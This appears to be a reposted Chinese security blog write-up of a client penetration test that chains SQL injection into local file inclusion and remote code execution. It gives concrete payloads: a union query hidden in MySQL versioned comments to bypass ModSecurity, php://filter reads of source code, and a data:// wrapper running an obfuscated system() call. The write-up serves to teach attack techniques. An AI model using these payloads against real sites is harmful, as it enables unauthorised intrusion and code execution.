从SQL注入到RCE漏洞

admin 2023年3月10日21:24:15评论30 views字数 1806阅读6分1秒阅读模式

在下面文章中,我将展示几天前我在为Open Data Security 的一位客户进行渗透测试时使用这个技巧的案例,在我看来,我如何连接一些因素来获得 RCE是件很方便后续利用。出于显而易见的原因,一些客户数据信息匿名化。

在进行目录模糊测试时,我发现了一个包含 php 文件的文件夹:

https://customer.com/php/load.php

当我测试 url 时,我收到了一个 php 警告信息:


从SQL注入到RCE漏洞

如上图,该应用程序试图包含一个带有 .php 扩展名的空文件名接下来我想到的是,也许我可以在 GET 参数中控制文件名,所以我决定暴力破解一些参数。在重复使用任何脚本之前,我认为我应该测试常见的老式网站模块参数,如“ sec、section、mod、module、file、page 等”。”令我惊讶的是,“ page”参数抛出了一个不同的错误,一条 MySQL 警告消息:

从SQL注入到RCE漏洞

如上图,include 函数在同一点继续使用一个空文件名,但是我们可以看到我们遇到了 MySQL 错误,然后从这里我尝试猜测应用程序从数据库中获取所需的文件名,然后我从这里尝试通常的sql 注入语句:

https://customer.com/php/load.php?page= ' or ''='

我收到了包含警告消息,但这次文件名不是空的,它是“ analytics.php ”,第一个路径字符串有一个点,并且没有加载网站 css 样式(现在链接不是粉红色)


从SQL注入到RCE漏洞

好吧,当时我确信 include() 从数据库获取部分路径,我们需要尝试联合类型的 SQL 注入,以便我们控制路径并尝试本地文件包含。

在我尝试的第一次注入中,我得到了 406 响应,该网站启用了Mod_Security apache 模块,不幸的是检测到我的注入,但正如某些人所知,过时的 Mod_Security 版本可以通过注入字符串中的 MySQL 注释绕过。我试过了,它成功了,有一个 9 列注入查询:

https://customer.com/php/load.php?page=’ /*!50000union*/ select 1,2,3,4,5,6,7,8,9-- -


从SQL注入到RCE漏洞

我在整个 Web 应用程序中没有找到其他任何地方,上传表单允许上传图像或任何带有 php 代码的文件扩展名,我可以包含以利用当前的本地文件包含,但正如您在前面看到的那样图像,我观察到我可以操纵路径的开头,这对我来说很好,因为我知道我可以尝试使用一些php 包装器

首先,我使用“php://filter/convert.base64-encode/resource=”包装器读取 index.php 文件:

https://customer.com/php/load.php?page=' /*!50000union*/ select 1,2,3,4,5,' ../index ',7,8,' php://filter/convert.base64-encode/resource=.

瞧,我们得到了 index.php 源代码的 base64 编码字符串


从SQL注入到RCE漏洞

啊,这一点我只想得到一个 RCE,所以我首先尝试了 input:// 包装器,但这没有用,因为应用程序将输入与路径的其余部分连接起来,并且由于强大的 Mod_Security 模块的使用空字节 %00 是不可能的。然后我决定尝试使用 data:// 包装器发送一些有望执行的 php 代码:

https://customer.com/php/load.php?page=' /*!50000union*/ select 1,2,3,4,5,6,7,8,'data://text/plain, < ?php echo system(“uname -a”);?> '-- -

我再次收到 Mod_Security 406 响应阻止我。思考一些我认为问题出在“系统(”字符串中,然后我回去煮一些 php 行:

<?php
$a=”sy”;
$b=”stem”;
$c=$a.$b;
$c(“uname -a”);
?>

最后的有效载荷是:

https://customer.com/php/load.php?page=' /*!50000union*/ select 1,2,3,4,5,6,7,8,’data://text/plain,<?php $a=”sy”;$b=”stem”;$c=$a.$b; $c(“uname -a”);?>’ -- -

以及我们的命令结果的响应:


从SQL注入到RCE漏洞

我们得到了一个RCE

原文始发于微信公众号(军机故阁):从SQL注入到RCE漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月10日21:24:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从SQL注入到RCE漏洞https://cn-sec.com/archives/1597564.html

发表评论

匿名网友 填写信息